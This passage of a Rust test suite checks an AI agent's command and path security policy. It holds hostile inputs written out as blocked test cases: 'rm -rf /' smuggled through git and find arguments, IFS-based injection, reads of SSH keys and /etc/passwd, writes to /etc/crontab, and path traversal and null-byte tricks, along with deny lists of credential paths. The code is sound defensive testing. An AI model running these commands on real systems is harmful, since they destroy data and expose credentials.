3757 "cat </dev/zero/etc/passwd"
3758 ));
3759 assert!(!contains_unsafe_output_redirect("cmd 2>/dev/null"));
3760 assert!(!contains_unsafe_output_redirect("cmd >/dev/null"));
3761 assert!(!contains_unsafe_output_redirect("cmd 1>/dev/null"));
3762 assert!(!contains_unsafe_output_redirect("cmd 2>&1"));
3763 assert!(!contains_unsafe_output_redirect("cmd 1>&2"));
3764 assert!(!contains_unsafe_output_redirect("echo > /dev/stdout"));
3765 assert!(!contains_unsafe_output_redirect("echo > /dev/stderr"));
3766 assert!(!contains_unsafe_output_redirect("echo > /dev/zero"));
3767 assert!(contains_unsafe_output_redirect("echo hi > file.txt"));
3768 assert!(!contains_unsafe_output_redirect("echo 'a>b'"));
3769 assert!(contains_unsafe_output_redirect("ls 2>/dev/stderr.log"));
3772 assert!(contains_unsafe_output_redirect("cat>/dev/zero/path"));
3773 assert!(contains_unsafe_output_redirect("echo>/dev/stdout.bak"));
3774 }
3775
3776 #[test]
3777 fn quoted_ampersand_and_redirect_literals_are_not_treated_as_operators() {
3778 let p = default_policy();
3779 assert!(p.is_command_allowed("echo \"A&B\""));
3780 assert!(p.is_command_allowed("echo \"A>B\""));
3781 assert!(p.is_command_allowed("echo \"A<B\""));
3782 }
3783
3784 #[test]
3785 fn git_dash_c_uppercase_is_allowed() {
3786 let p = default_policy();
3789 assert!(
3790 p.is_command_allowed("git -C /home/user/repo status --short"),
3791 "git -C is benign and should be allowed"
3792 );
3793 assert!(
3794 p.is_command_allowed("git -C /home/user/repo log --oneline -1"),
3795 "git -C with log should be allowed"
3796 );
3797 assert!(
3799 !p.is_command_allowed("git -c core.editor=\"rm -rf /\" commit"),
3800 "git -c must remain blocked"
3801 );
3802 }
3803
3804 #[test]
3805 fn command_argument_injection_blocked() {
3806 let p = default_policy();
3807 assert!(!p.is_command_allowed("find . -exec rm -rf {} +"));
3809 assert!(!p.is_command_allowed("find / -ok cat {} \\;"));
3810 assert!(!p.is_command_allowed("git config core.editor \"rm -rf /\""));
3812 assert!(!p.is_command_allowed("git alias.st status"));
3813 assert!(!p.is_command_allowed("git -c core.editor=calc.exe commit"));
3814 assert!(p.is_command_allowed("find . -name '*.txt'"));
3816 assert!(p.is_command_allowed("git status"));
3817 assert!(p.is_command_allowed("git add ."));
3818 }
3819
3820 #[test]
3821 fn command_injection_dollar_brace_blocked() {
3822 let p = default_policy();
3823 assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd"));
3824 }
3825
3826 #[test]
3827 fn command_injection_plain_dollar_var_blocked() {
3828 let p = default_policy();
3829 assert!(!p.is_command_allowed("cat $HOME/.ssh/id_rsa"));
3830 assert!(!p.is_command_allowed("cat $SECRET_FILE"));
3831 }
3832
3833 #[test]
3834 fn command_injection_tee_blocked() {
3835 let p = default_policy();
3836 assert!(!p.is_command_allowed("echo secret | tee /etc/crontab"));
3837 assert!(!p.is_command_allowed("ls | /usr/bin/tee outfile"));
3838 assert!(!p.is_command_allowed("tee file.txt"));
3839 }
3840
3841 #[test]
3842 fn command_injection_process_substitution_blocked() {
3843 let p = default_policy();
3844 assert!(!p.is_command_allowed("cat <(echo pwned)"));
3845 assert!(!p.is_command_allowed("ls >(cat /etc/passwd)"));
3846 }
3847
3848 #[test]
3849 fn command_env_var_prefix_with_allowed_cmd() {
3850 let p = default_policy();
3851 assert!(p.is_command_allowed("FOO=bar ls"));
3853 assert!(p.is_command_allowed("LANG=C grep pattern file"));
3854 assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
3856 }
3857
3858 #[test]
3859 fn forbidden_path_argument_detects_absolute_path() {
3860 let p = unix_forbidden_path_policy();
3861 assert_eq!(
3862 p.forbidden_path_argument("cat /etc/passwd"),
3863 Some("/etc/passwd".into())
3864 );
3865 }
3866
3867 #[test]
3868 fn forbidden_path_argument_detects_parent_dir_reference() {
3869 let p = default_policy();
3870 assert_eq!(
3871 p.forbidden_path_argument("cat ../secret.txt"),
3872 Some("../secret.txt".into())
3873 );
3874 assert_eq!(
3875 p.forbidden_path_argument("find .. -name '*.rs'"),
3876 Some("..".into())
3877 );
3878 }
3879
3880 #[test]
3881 fn forbidden_path_argument_allows_workspace_relative_paths() {
3882 let p = default_policy();
3883 assert_eq!(p.forbidden_path_argument("cat src/main.rs"), None);
3884 assert_eq!(p.forbidden_path_argument("grep -r todo ./src"), None);
3885 }
3886
3887 #[test]
3888 fn forbidden_path_argument_detects_option_assignment_paths() {
3889 let p = unix_forbidden_path_policy();
3890 assert_eq!(
3891 p.forbidden_path_argument("grep --file=/etc/passwd root ./src"),
3892 Some("/etc/passwd".into())
3893 );
3894 assert_eq!(
3895 p.forbidden_path_argument("cat --input=../secret.txt"),
3896 Some("../secret.txt".into())
3897 );
3898 }
3899
3900 #[test]
3901 fn forbidden_path_argument_allows_safe_option_assignment_paths() {
3902 let p = default_policy();
3903 assert_eq!(
3904 p.forbidden_path_argument("grep --file=./patterns.txt root ./src"),
3905 None
3906 );
3907 }
3908
3909 #[test]
3910 fn forbidden_path_argument_detects_short_option_attached_paths() {
3911 let p = unix_forbidden_path_policy();
3912 assert_eq!(
3913 p.forbidden_path_argument("grep -f/etc/passwd root ./src"),
3914 Some("/etc/passwd".into())
3915 );
3916 assert_eq!(
3917 p.forbidden_path_argument("git -C../outside status"),
3918 Some("../outside".into())
3919 );
3920 }
3921
3922 #[test]
3923 fn forbidden_path_argument_allows_safe_short_option_attached_paths() {
3924 let p = default_policy();
3925 assert_eq!(
3926 p.forbidden_path_argument("grep -f./patterns.txt root ./src"),
3927 None
3928 );
3929 assert_eq!(p.forbidden_path_argument("git -C./repo status"), None);
3930 }
3931
3932 #[test]
3933 fn forbidden_path_argument_detects_tilde_user_paths() {
3934 let p = default_policy();
3935 assert_eq!(
3936 p.forbidden_path_argument("cat ~root/.ssh/id_rsa"),
3937 Some("~root/.ssh/id_rsa".into())
3938 );
3939 assert_eq!(
3940 p.forbidden_path_argument("ls ~nobody"),
3941 Some("~nobody".into())
3942 );
3943 }
3944
3945 #[test]
3946 fn forbidden_path_argument_detects_input_redirection_paths() {
3947 let p = unix_forbidden_path_policy();
3948 assert_eq!(
3949 p.forbidden_path_argument("cat </etc/passwd"),
3950 Some("/etc/passwd".into())
3951 );
3952 assert_eq!(
3953 p.forbidden_path_argument("cat</etc/passwd"),
3954 Some("/etc/passwd".into())
3955 );
3956 }
3957
3958 #[test]
3959 fn forbidden_path_argument_allows_safe_device_redirect_targets() {
3960 let p = unix_forbidden_path_policy();
3961 assert_eq!(p.forbidden_path_argument("ls missing 2>/dev/null"), None);
3962 assert_eq!(p.forbidden_path_argument("ls missing 2> /dev/null"), None);
3963 assert_eq!(p.forbidden_path_argument("echo hi >/dev/stdout"), None);
3964 assert_eq!(p.forbidden_path_argument("echo hi > /dev/stdout"), None);
3965 assert_eq!(p.forbidden_path_argument("echo err 1>/dev/stderr"), None);
3966 assert_eq!(p.forbidden_path_argument("echo err 1> /dev/stderr"), None);
3967 assert_eq!(p.forbidden_path_argument("cat </dev/zero"), None);
3968 assert_eq!(p.forbidden_path_argument("cat < /dev/zero"), None);
3969 #[cfg(not(target_os = "windows"))]
3970 assert_eq!(p.forbidden_path_argument("cat /dev/null"), None);
3971 assert_eq!(p.forbidden_path_argument("cat ./safe.txt>/dev/null"), None);
3972 assert_eq!(p.forbidden_path_argument("cat> /dev/null"), None);
3973 assert_eq!(p.forbidden_path_argument("cat ./safe.txt>&2"), None);
3974 }
3975
3976 #[test]
3977 fn forbidden_path_argument_blocks_unsafe_redirect_targets() {
3978 let p = unix_forbidden_path_policy();
3979 assert_eq!(
3980 p.forbidden_path_argument("echo hi >/etc/passwd"),
3981 Some("/etc/passwd".into())
3982 );
3983 assert_eq!(
3984 p.forbidden_path_argument("echo hi > /etc/passwd"),
3985 Some("/etc/passwd".into())
3986 );
3987 assert_eq!(
3988 p.forbidden_path_argument("echo hi >/dev/stderr.log"),
3989 Some("/dev/stderr.log".into())
3990 );
3991 assert_eq!(
3992 p.forbidden_path_argument("echo hi > /dev/stderr.log"),
3993 Some("/dev/stderr.log".into())
3994 );
3995 assert_eq!(
3996 p.forbidden_path_argument("cat </dev/zero/etc/passwd"),
3997 Some("/dev/zero/etc/passwd".into())
3998 );
3999 assert_eq!(
4000 p.forbidden_path_argument("echo hi >/dev/null/../../etc/passwd"),
4001 Some("/dev/null/../../etc/passwd".into())
4002 );
4003 assert_eq!(
4004 p.forbidden_path_argument("cat</dev/null /etc/passwd"),
4005 Some("/etc/passwd".into())
4006 );
4007 assert_eq!(
4008 p.forbidden_path_argument("cat /etc/passwd>/dev/null"),
4009 Some("/etc/passwd".into())
4010 );
4011 assert_eq!(
4012 p.forbidden_path_argument("cat /etc/passwd> /dev/null"),
4013 Some("/etc/passwd".into())
4014 );
4015 assert_eq!(
4016 p.forbidden_path_argument("cat /etc/passwd>&2"),
4017 Some("/etc/passwd".into())
4018 );
4019 assert_eq!(
4020 p.forbidden_path_argument("grep --file=/etc/passwd>/dev/null root"),
4021 Some("/etc/passwd".into())
4022 );
4023 }
4024
4025 #[test]
4028 fn path_traversal_encoded_dots() {
4029 let p = default_policy();
4030 assert!(!p.is_path_allowed("foo/..%2f..%2fetc/passwd"));
4032 }
4033
4034 #[test]
4035 fn path_traversal_double_dot_in_filename() {
4036 let p = default_policy();
4037 assert!(p.is_path_allowed("my..file.txt"));
4039 assert!(!p.is_path_allowed("../etc/passwd"));
4041 assert!(!p.is_path_allowed("foo/../etc/passwd"));
4042 }
4043
4044 #[test]
4045 fn path_with_null_byte_blocked() {
4046 let p = default_policy();
4047 assert!(!p.is_path_allowed("file\0.txt"));
4048 }
4049
4050 #[test]
4051 fn path_symlink_style_absolute() {
4052 let p = default_policy();
4053 assert!(!p.is_path_allowed(&tp_sys_sub("proc/self/root/etc/passwd")));
4054 }
4055
4056 #[test]
4057 fn path_home_tilde_ssh() {
4058 let p = SecurityPolicy {
4059 workspace_only: false,
4060 ..SecurityPolicy::default()
4061 };
4062 assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
4063 assert!(!p.is_path_allowed("~/.gnupg/secring.gpg"));
4064 assert!(!p.is_path_allowed("~root/.ssh/id_rsa"));
4065 assert!(!p.is_path_allowed("~nobody"));
4066 }
4067
4068 #[test]
4069 fn path_var_run_blocked() {
4070 let p = SecurityPolicy {
4071 workspace_only: false,
4072 ..SecurityPolicy::default()
4073 };
4074 assert!(!p.is_path_allowed(&tp_sys_sub("var/run/docker.sock")));
4075 }
4076
4077 #[test]
4080 fn rate_limit_exactly_at_boundary() {
4081 let p = SecurityPolicy {
4082 max_actions_per_hour: 1,
4083 ..SecurityPolicy::default()
4084 };
4085 assert!(p.record_action()); assert!(!p.record_action()); assert!(!p.record_action()); }
4089
4090 #[test]
4091 fn rate_limit_zero_blocks_everything() {
4092 let p = SecurityPolicy {
4093 max_actions_per_hour: 0,
4094 ..SecurityPolicy::default()
4095 };
4096 assert!(!p.record_action());
4097 }
4098
4099 #[test]
4100 fn rate_limit_high_allows_many() {
4101 let p = SecurityPolicy {
4102 max_actions_per_hour: 10000,
4103 ..SecurityPolicy::default()
4104 };
4105 for _ in 0..100 {
4106 assert!(p.record_action());
4107 }
4108 }
4109
4110 #[test]
4113 fn readonly_blocks_even_safe_commands() {
4114 let p = SecurityPolicy {
4115 autonomy: AutonomyLevel::ReadOnly,
4116 allowed_commands: vec!["ls".into(), "cat".into()],
4117 ..SecurityPolicy::default()
4118 };
4119 assert!(!p.is_command_allowed("ls"));
4120 assert!(!p.is_command_allowed("cat"));
4121 assert!(!p.can_act());
4122 }
4123
4124 #[test]
4125 fn supervised_allows_listed_commands() {
4126 let p = SecurityPolicy {
4127 autonomy: AutonomyLevel::Supervised,
4128 allowed_commands: vec!["git".into()],
4129 ..SecurityPolicy::default()
4130 };
4131 assert!(p.is_command_allowed("git status"));
4132 assert!(!p.is_command_allowed("docker ps"));
4133 }
4134
4135 #[test]
4136 fn full_autonomy_still_respects_forbidden_paths() {
4137 let p = SecurityPolicy {
4138 autonomy: AutonomyLevel::Full,
4139 workspace_only: false,
4140 ..SecurityPolicy::default()
4141 };
4142 assert!(!p.is_path_allowed(&tp_sys_sub("etc/shadow")));
4143 assert!(!p.is_path_allowed(&tp_sys_sub("root/.bashrc")));
4144 }
4145
4146 #[test]
4147 fn workspace_only_false_allows_resolved_outside_workspace() {
4148 let workspace = std::env::temp_dir().join("zeroclaw_test_ws_only_false");
4149 let _ = std::fs::create_dir_all(&workspace);
4150 let canonical_workspace = workspace
4151 .canonicalize()
4152 .unwrap_or_else(|_| workspace.clone());
4153
4154 let p = SecurityPolicy {
4155 workspace_dir: canonical_workspace.clone(),
4156 workspace_only: false,
4157 forbidden_paths: vec!["/etc".into(), "/var".into()],
4158 ..SecurityPolicy::default()
4159 };
4160
4161 let outside = std::env::var_os("HOME")
4163 .map(std::path::PathBuf::from)
4164 .unwrap_or_else(|| PathBuf::from("/home"))
4165 .join("zeroclaw_outside_ws");
4166 assert!(
4167 p.is_resolved_path_allowed(&outside),
4168 "workspace_only=false must allow resolved paths outside workspace"
4169 );
4170
4171 assert!(
4173 !p.is_resolved_path_allowed(Path::new("/etc/passwd")),
4174 "forbidden paths must be blocked even when workspace_only=false"
4175 );
4176 assert!(
4177 !p.is_resolved_path_allowed(Path::new("/var/run/docker.sock")),
4178 "forbidden /var must be blocked even when workspace_only=false"
4179 );
4180
4181 let _ = std::fs::remove_dir_all(&workspace);
4182 }
4183
4184 #[test]
4185 fn workspace_only_true_blocks_resolved_outside_workspace() {
4186 let workspace = std::env::temp_dir().join("zeroclaw_test_ws_only_true");
4187 let _ = std::fs::create_dir_all(&workspace);
4188 let canonical_workspace = workspace
4189 .canonicalize()
4190 .unwrap_or_else(|_| workspace.clone());
4191
4192 let p = SecurityPolicy {
4193 workspace_dir: canonical_workspace.clone(),
4194 workspace_only: true,
4195 ..SecurityPolicy::default()
4196 };
4197
4198 let inside = canonical_workspace.join("subdir");
4200 assert!(
4201 p.is_resolved_path_allowed(&inside),
4202 "path inside workspace must be allowed"
4203 );
4204
4205 let outside = std::env::temp_dir()
4207 .canonicalize()
4208 .unwrap_or_else(|_| std::env::temp_dir())
4209 .join("zeroclaw_outside_ws_true");
4210 assert!(
4211 !p.is_resolved_path_allowed(&outside),
4212 "workspace_only=true must block resolved paths outside workspace"
4213 );
4214
4215 let _ = std::fs::remove_dir_all(&workspace);
4216 }
4217
4218 #[test]
4221 fn readable_includes_posix_device_files() {
4222 let p = SecurityPolicy {
4225 workspace_dir: PathBuf::from("/tmp/zeroclaw-test-ws"),
4226 workspace_only: true,
4227 ..SecurityPolicy::default()
4228 };
4229 for device in ["/dev/null", "/dev/zero", "/dev/random", "/dev/urandom"] {
4230 assert!(
4231 p.is_resolved_path_readable(Path::new(device)),
4232 "POSIX device file {device} must be readable"
4233 );
4234 }
4235 }
4236
4237 #[test]
4238 fn readable_includes_read_only_allowlist_paths() {
4239 let tmp = tempfile::tempdir().unwrap();
4240 let read_only_root = tmp.path().join("docs");
4241 std::fs::create_dir_all(&read_only_root).unwrap();
4242 let inside = read_only_root.join("guide.md");
4243 std::fs::write(&inside, "x").unwrap();
4244
4245 let canonical_inside = inside.canonicalize().unwrap();
4246 let p = SecurityPolicy {
4247 workspace_dir: PathBuf::from("/tmp/elsewhere"),
4248 workspace_only: true,
4249 allowed_roots_read_only: vec![read_only_root.clone()],
4250 ..SecurityPolicy::default()
4251 };
4252 assert!(
4253 p.is_resolved_path_readable(&canonical_inside),
4254 "read-only allowlist entries must be readable"
4255 );
4256 assert!(
4259 !p.is_resolved_path_allowed(&canonical_inside),
4260 "read-only allowlist entries must NOT be writable via is_resolved_path_allowed"
4261 );
4262 }
4263
4264 #[test]
4267 fn for_agent_routes_workspace_access_into_correct_allowlist_tier() {
4268 use crate::multi_agent::{AccessMode, AgentAlias};
4269 use crate::schema::{AliasedAgentConfig, Config, RiskProfileConfig};
4270
4271 let mut cfg = Config {
4272 data_dir: PathBuf::from("/tmp/zeroclaw-for-agent-test"),
4273 config_path: PathBuf::from("/tmp/zeroclaw-for-agent-test/config.toml"),
4274 ..Config::default()
4275 };
4276 cfg.risk_profiles.insert(
4277 "default".into(),
4278 RiskProfileConfig {
4279 workspace_only: true,
4280 ..RiskProfileConfig::default()
4281 },
4282 );
4283
4284 cfg.agents.insert(
4286 "writable_sibling".into(),
4287 AliasedAgentConfig {
4288 risk_profile: "default".into(),
4289 ..AliasedAgentConfig::default()
4290 },
4291 );
4292 cfg.agents.insert(
4293 "readonly_sibling".into(),
4294 AliasedAgentConfig {
4295 risk_profile: "default".into(),
4296 ..AliasedAgentConfig::default()
4297 },
4298 );
4299
4300 let mut test_agent = AliasedAgentConfig {
4302 risk_profile: "default".into(),
4303 ..AliasedAgentConfig::default()
4304 };
4305 test_agent
4306 .workspace
4307 .access
4308 .insert(AgentAlias::from("writable_sibling"), AccessMode::Write);
4309 test_agent
4310 .workspace
4311 .access
4312 .insert(AgentAlias::from("readonly_sibling"), AccessMode::Read);
4313 cfg.agents.insert("test_agent".into(), test_agent);
4314
4315 let policy = SecurityPolicy::for_agent(&cfg, "test_agent").unwrap();
4316
4317 let writable_sibling_dir = cfg.agent_workspace_dir("writable_sibling");
4318 let readonly_sibling_dir = cfg.agent_workspace_dir("readonly_sibling");
4319
4320 assert!(
4321 policy
4322 .allowed_roots_write_only
4323 .contains(&writable_sibling_dir),
4324 "AccessMode::Write must land in allowed_roots_write_only; got {:?}",
4325 policy.allowed_roots_write_only
4326 );
4327 assert!(
4328 !policy.allowed_roots.contains(&writable_sibling_dir),
4329 "AccessMode::Write must NOT land in allowed_roots (read+write tier); got {:?}",
4330 policy.allowed_roots
4331 );
4332 assert!(
4333 policy
4334 .allowed_roots_read_only
4335 .contains(&readonly_sibling_dir),
4336 "AccessMode::Read must land in allowed_roots_read_only; got {:?}",
4337 policy.allowed_roots_read_only
4338 );
4339 assert!(
4340 !policy
4341 .allowed_roots_read_only
4342 .contains(&writable_sibling_dir),
4343 "Write-mode entry must NOT also appear on the read-only list"
4344 );
4345 assert!(
4346 !policy
4347 .allowed_roots_write_only
4348 .contains(&readonly_sibling_dir),
4349 "Read-mode entry must NOT also appear on the write-only list"
4350 );
4351 assert!(
4352 policy.workspace_only,
4353 "unrestricted_filesystem stays default-false → workspace_only stays true"
4354 );
4355 }
4356
4357 #[test]
4358 fn write_only_root_blocks_reads_and_admits_writes() {
4359 let mut policy = SecurityPolicy::default();
4364 let write_only_root =
4365 std::env::temp_dir().join(format!("zeroclaw_wo_root_{}", uuid::Uuid::new_v4()));
4366 std::fs::create_dir_all(&write_only_root).unwrap();
4367 let canonical = write_only_root.canonicalize().unwrap();
4368 policy.allowed_roots_write_only.push(canonical.clone());
4369 policy.workspace_only = false;
4370
4371 let target = canonical.join("write_only_target.txt");
4372 assert!(
4373 policy.is_resolved_path_allowed(&target),
4374 "write-only root must be writable via is_resolved_path_allowed"
4375 );
4376 assert!(
4377 !policy.is_resolved_path_readable(&target),
4378 "write-only root must NOT be readable via is_resolved_path_readable"
4379 );
4380
4381 let _ = std::fs::remove_dir_all(canonical);
4382 }
4383
4384 #[test]
4385 fn for_agent_unrestricted_filesystem_disables_workspace_only() {
4386 use crate::schema::{AliasedAgentConfig, Config, RiskProfileConfig};
4387
4388 let mut cfg = Config {
4389 data_dir: PathBuf::from("/tmp/zeroclaw-for-agent-unrestricted"),
4390 config_path: PathBuf::from("/tmp/zeroclaw-for-agent-unrestricted/config.toml"),
4391 ..Config::default()
4392 };
4393 cfg.risk_profiles.insert(
4394 "default".into(),
4395 RiskProfileConfig {
4396 workspace_only: true,
4397 ..RiskProfileConfig::default()
4398 },
4399 );
4400 let mut test_agent = AliasedAgentConfig {
4401 risk_profile: "default".into(),
4402 ..AliasedAgentConfig::default()
4403 };
4404 test_agent.workspace.unrestricted_filesystem = true;
4405 cfg.agents.insert("test_agent".into(), test_agent);
4406
4407 let policy = SecurityPolicy::for_agent(&cfg, "test_agent").unwrap();
4408
4409 assert!(
4410 !policy.workspace_only,
4411 "unrestricted_filesystem=true must flip workspace_only off at the policy level"
4412 );
4413 }
4414
4415 #[test]
4418 fn from_config_creates_fresh_tracker() {
4419 let risk = crate::schema::RiskProfileConfig {
4420 level: AutonomyLevel::Full,
4421 workspace_only: false,
4422 allowed_commands: vec![],
4423 forbidden_paths: vec![],
4424 require_approval_for_medium_risk: true,
4425 block_high_risk_commands: true,
4426 ..crate::schema::RiskProfileConfig::default()
4427 };
4428 let runtime = crate::schema::RuntimeProfileConfig {
4429 max_actions_per_hour: 10,
4430 max_cost_per_day_cents: 100,
4431 ..crate::schema::RuntimeProfileConfig::default()
4432 };
4433 let workspace = PathBuf::from("/tmp/test");
4434 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), &workspace);
4435 assert!(!policy.is_rate_limited());
4436 }
4437
4438 #[test]
4447 fn checklist_root_path_blocked() {
4448 let p = default_policy();
4449 assert!(!p.is_path_allowed(tp_sys()));
4450 assert!(!p.is_path_allowed(&tp_sys_sub("anything")));
4451 }
4452
4453 #[test]
4454 fn checklist_all_system_dirs_blocked() {
4455 let p = SecurityPolicy {
4456 workspace_only: false,
4457 ..SecurityPolicy::default()
4458 };
4459 #[cfg(not(target_os = "windows"))]
4460 {
4461 for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] {
4462 assert!(
4463 p.forbidden_paths.iter().any(|f| f == dir),
4464 "Default forbidden_paths must include {dir} on Unix"
4465 );
4466 assert!(
4467 !p.is_path_allowed(dir),
4468 "System dir should be blocked: {dir}"
4469 );
4470 }
4471 }
4472 #[cfg(target_os = "windows")]
4473 {
4474 for dir in [
4475 "C:\\Windows",
4476 "C:\\Windows\\System32",
4477 "C:\\Program Files",
4478 "C:\\ProgramData",
4479 ] {
4480 assert!(
4481 p.forbidden_paths.iter().any(|f| f == dir),
4482 "Default forbidden_paths must include {dir} on Windows"
4483 );
4484 assert!(
4485 !p.is_path_allowed(dir),
4486 "System dir should be blocked: {dir}"
4487 );
4488 }
4489 }
4490 for dot in &["~/.ssh", "~/.gnupg", "~/.aws"] {
4491 assert!(
4492 p.forbidden_paths.iter().any(|f| f == dot),
4493 "Default forbidden_paths must include {dot}"
4494 );
4495 assert!(
4496 !p.is_path_allowed(dot),
4497 "Sensitive dotfile dir should be blocked: {dot}"
4498 );
4499 }
4500 }
4501
4502 #[test]
4503 fn checklist_sensitive_dotfiles_blocked() {
4504 let p = SecurityPolicy {
4505 workspace_only: false,
4506 ..SecurityPolicy::default()
4507 };
4508 for path in [
4509 "~/.ssh/id_rsa",
4510 "~/.gnupg/secring.gpg",
4511 "~/.aws/credentials",
4512 "~/.config/secrets",
4513 ] {
4514 assert!(
4515 !p.is_path_allowed(path),
4516 "Sensitive dotfile should be blocked: {path}"
4517 );
4518 }
4519 }
4520
4521 #[test]
4522 fn checklist_null_byte_injection_blocked() {
4523 let p = default_policy();
4524 assert!(!p.is_path_allowed("safe\0/../../../etc/passwd"));
4525 assert!(!p.is_path_allowed("\0"));
4526 assert!(!p.is_path_allowed("file\0"));
4527 }
4528
4529 #[test]
4530 fn checklist_workspace_only_blocks_absolute_outside_workspace() {
4531 let p = SecurityPolicy {
4532 workspace_only: true,
4533 ..SecurityPolicy::default()
4534 };
4535 assert!(!p.is_path_allowed(&tp_sys_sub("any/absolute/path")));
4536 assert!(p.is_path_allowed("relative/path.txt"));
4537 }
4538
4539 #[test]
4540 fn checklist_resolved_path_must_be_in_workspace() {
4541 let p = SecurityPolicy {
4542 workspace_dir: PathBuf::from("/home/user/project"),
4543 ..SecurityPolicy::default()
4544 };
4545 assert!(p.is_resolved_path_allowed(Path::new("/home/user/project/src/main.rs")));
4547 assert!(!p.is_resolved_path_allowed(Path::new("/etc/passwd")));
4549 assert!(!p.is_resolved_path_allowed(Path::new("/home/user/other_project/file")));
4550 assert!(!p.is_resolved_path_allowed(Path::new("/")));
4552 }
4553
4554 #[test]
4555 fn checklist_default_policy_is_workspace_only() {
4556 let p = SecurityPolicy::default();
4557 assert!(
4558 p.workspace_only,
4559 "Default policy must be workspace_only=true"
4560 );
4561 }
4562
4563 #[test]
4564 fn checklist_default_forbidden_paths_comprehensive() {
4565 let p = SecurityPolicy::default();
4566 #[cfg(not(target_os = "windows"))]
4567 {
4568 for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] {
4569 assert!(
4570 p.forbidden_paths.iter().any(|f| f == dir),
4571 "Default forbidden_paths must include {dir} on Unix"
4572 );
4573 }
4574 }
4575 #[cfg(target_os = "windows")]
4576 {
4577 for dir in [
4578 "C:\\Windows",
4579 "C:\\Windows\\System32",
4580 "C:\\Program Files",
4581 "C:\\ProgramData",
4582 ] {
4583 assert!(
4584 p.forbidden_paths.iter().any(|f| f == dir),
4585 "Default forbidden_paths must include {dir} on Windows"
4586 );
4587 }
4588 }
4589 for dot in &["~/.ssh", "~/.gnupg", "~/.aws", "~/.config"] {
4590 assert!(
4591 p.forbidden_paths.iter().any(|f| f == dot),
4592 "Default forbidden_paths must include {dot}"
4593 );
4594 }
4595 }
4596
4597 #[test]
4600 fn resolved_path_blocks_outside_workspace() {
4601 let workspace = std::env::temp_dir().join("zeroclaw_test_resolved_path");
4602 let _ = std::fs::create_dir_all(&workspace);
4603
4604 let canonical_workspace = workspace
4606 .canonicalize()
4607 .unwrap_or_else(|_| workspace.clone());
4608
4609 let policy = SecurityPolicy {
4610 workspace_dir: canonical_workspace.clone(),
4611 ..SecurityPolicy::default()
4612 };
4613
4614 let inside = canonical_workspace.join("subdir").join("file.txt");
4616 assert!(
4617 policy.is_resolved_path_allowed(&inside),
4618 "path inside workspace should be allowed"
4619 );
4620
4621 let canonical_temp = std::env::temp_dir()
4623 .canonicalize()
4624 .unwrap_or_else(|_| std::env::temp_dir());
4625 let outside = canonical_temp.join("outside_workspace_zeroclaw");
4626 assert!(
4627 !policy.is_resolved_path_allowed(&outside),
4628 "path outside workspace must be blocked"
4629 );
4630
4631 let _ = std::fs::remove_dir_all(&workspace);
4632 }
4633
4634 #[test]
4635 fn resolved_path_blocks_root_escape() {
4636 let policy = SecurityPolicy {
4637 workspace_dir: PathBuf::from("/home/zeroclaw_user/project"),
4638 ..SecurityPolicy::default()
4639 };
4640
4641 assert!(
4642 !policy.is_resolved_path_allowed(Path::new("/etc/passwd")),
4643 "resolved path to /etc/passwd must be blocked"
4644 );
4645 assert!(
4646 !policy.is_resolved_path_allowed(Path::new("/root/.bashrc")),
4647 "resolved path to /root/.bashrc must be blocked"
4648 );
4649 }
4650
4651 #[cfg(unix)]
4652 #[test]
4653 fn resolved_path_blocks_symlink_escape() {
4654 use std::os::unix::fs::symlink;
4655
4656 let root = std::env::temp_dir().join("zeroclaw_test_symlink_escape");
4657 let workspace = root.join("workspace");
4658 let outside = root.join("outside_target");
4659
4660 let _ = std::fs::remove_dir_all(&root);
4661 std::fs::create_dir_all(&workspace).unwrap();
4662 std::fs::create_dir_all(&outside).unwrap();
4663
4664 let link_path = workspace.join("escape_link");
4666 symlink(&outside, &link_path).unwrap();
4667
4668 let policy = SecurityPolicy {
4669 workspace_dir: workspace.clone(),
4670 ..SecurityPolicy::default()
4671 };
4672
4673 let resolved = link_path.canonicalize().unwrap();
4675 assert!(
4676 !policy.is_resolved_path_allowed(&resolved),
4677 "symlink-resolved path outside workspace must be blocked"
4678 );
4679
4680 let _ = std::fs::remove_dir_all(&root);
4681 }
4682
4683 #[cfg(unix)]
4684 #[test]
4685 fn allowed_roots_permits_paths_outside_workspace() {
4686 use std::os::unix::fs::symlink;
4687
4688 let root = std::env::temp_dir().join("zeroclaw_test_allowed_roots");
4689 let workspace = root.join("workspace");
4690 let extra = root.join("extra_root");
4691 let extra_file = extra.join("data.txt");
4692
4693 let _ = std::fs::remove_dir_all(&root);
4694 std::fs::create_dir_all(&workspace).unwrap();
4695 std::fs::create_dir_all(&extra).unwrap();
4696 std::fs::write(&extra_file, "test").unwrap();
4697
4698 let link_path = workspace.join("link_to_extra");
4700 symlink(&extra, &link_path).unwrap();
4701
4702 let resolved = link_path.join("data.txt").canonicalize().unwrap();
4703
4704 let policy_without = SecurityPolicy {
4706 workspace_dir: workspace.clone(),
4707 allowed_roots: vec![],
4708 ..SecurityPolicy::default()
4709 };
4710 assert!(
4711 !policy_without.is_resolved_path_allowed(&resolved),
4712 "without allowed_roots, symlink target must be blocked"
4713 );
4714
4715 let policy_with = SecurityPolicy {
4717 workspace_dir: workspace.clone(),
4718 allowed_roots: vec![extra.clone()],
4719 ..SecurityPolicy::default()
4720 };
4721 assert!(
4722 policy_with.is_resolved_path_allowed(&resolved),
4723 "with allowed_roots containing the target, symlink must be allowed"
4724 );
4725
4726 let unrelated = root.join("unrelated");
4728 std::fs::create_dir_all(&unrelated).unwrap();
4729 assert!(
4730 !policy_with.is_resolved_path_allowed(&unrelated.canonicalize().unwrap()),
4731 "paths outside workspace and allowed_roots must still be blocked"
4732 );
4733
4734 let _ = std::fs::remove_dir_all(&root);
4735 }
4736
4737 #[test]
4738 fn is_path_allowed_blocks_null_bytes() {
4739 let policy = default_policy();
4740 assert!(
4741 !policy.is_path_allowed("file\0.txt"),
4742 "paths with null bytes must be blocked"
4743 );
4744 }
4745
4746 #[test]
4747 fn is_path_allowed_blocks_url_encoded_traversal() {
4748 let policy = default_policy();
4749 assert!(
4750 !policy.is_path_allowed("..%2fetc%2fpasswd"),
4751 "URL-encoded path traversal must be blocked"
4752 );
4753 assert!(
4754 !policy.is_path_allowed("subdir%2f..%2f..%2fetc"),
4755 "URL-encoded parent dir traversal must be blocked"
4756 );
4757 }
4758
4759 #[test]
